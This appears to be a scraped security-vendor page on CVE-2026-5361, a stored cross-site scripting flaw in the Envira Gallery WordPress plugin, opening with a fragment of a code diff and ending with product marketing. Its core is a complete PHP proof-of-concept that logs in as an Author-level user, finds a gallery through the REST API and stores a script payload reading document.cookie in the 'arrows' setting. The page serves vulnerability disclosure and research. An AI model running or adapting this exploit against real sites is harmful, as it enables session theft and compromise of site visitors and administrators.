+							<input type="text" id="others" name="eow[_others]" required value="<?php echo esc_attr( $onboarding->get_onboarding_data( '_others' ) ); ?>" placeholder="<?php esc_attr_e( 'What best describes you?', 'envira-gallery-lite' ); ?>">
 					</div>
 					</div>
 				</div>
--- a/envira-

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-5361 - Envira Gallery <= 1.12.4 - Authenticated (Author+) Stored Cross-Site Scripting via 'arrows' Parameter

$target_url = 'http://example.com'; // Target WordPress installation
$username = 'author';                // Attacker's WordPress username (Author role or higher)
$password = 'password';              // Attacker's WordPress password

// Step 1: Authenticate and get cookies
$login_url = $target_url . '/wp-login.php';
$login_data = array(
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
curl_close($ch);

// Step 2: Get a list of galleries to find a gallery ID to target
$galleries_url = $target_url . '/wp-json/wp/v2/envira_gallery?per_page=1';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $galleries_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
curl_close($ch);

$galleries = json_decode($response, true);
if (empty($galleries) || !isset($galleries[0]['id'])) {
    die("Error: Could not find any galleries. Create a gallery first.n");
}
$gallery_id = $galleries[0]['id'];
echo "Targeting gallery ID: " . $gallery_id . "n";

// Step 3: Fetch current gallery data to understand config structure
$gallery_url = $target_url . '/wp-json/wp/v2/envira_gallery/' . $gallery_id;
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $gallery_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
curl_close($ch);

$gallery = json_decode($response, true);
if (empty($gallery) || !isset($gallery['envira_gallery_data'])) {
    die("Error: Could not fetch gallery data.n");
}

// Step 4: Craft XSS payload in the 'arrows' parameter
$malicious_arrows = "default';alert(document.cookie);//";

// Modify the gallery config to insert the XSS payload
$gallery_data = $gallery['envira_gallery_data'];
if (!isset($gallery_data['config'])) {
    $gallery_data['config'] = array();
}
$gallery_data['config']['arrows'] = $malicious_arrows;

// Step 5: Send the update request via REST API
$update_url = $target_url . '/wp-json/wp/v2/envira_gallery/' . $gallery_id;
$update_data = array(
    'envira_gallery_data' => $gallery_data
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $update_url);
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'POST');
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($update_data));
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
    'Content-Type: application/json',
    'X-WP-Nonce: ' . $gallery['meta']['links']['curies'][0]['href'] // Note: Nonce handling may need adjustment
));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

if ($http_code === 200) {
    echo "Success! XSS payload stored in gallery ID " . $gallery_id . "n";
    echo "View the gallery at: " . $target_url . "/?envira_gallery=" . $gallery_id . "n";
} else {
    echo "Failed to update gallery. HTTP status: " . $http_code . "n";
    echo "Response: " . $response . "n";
}
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School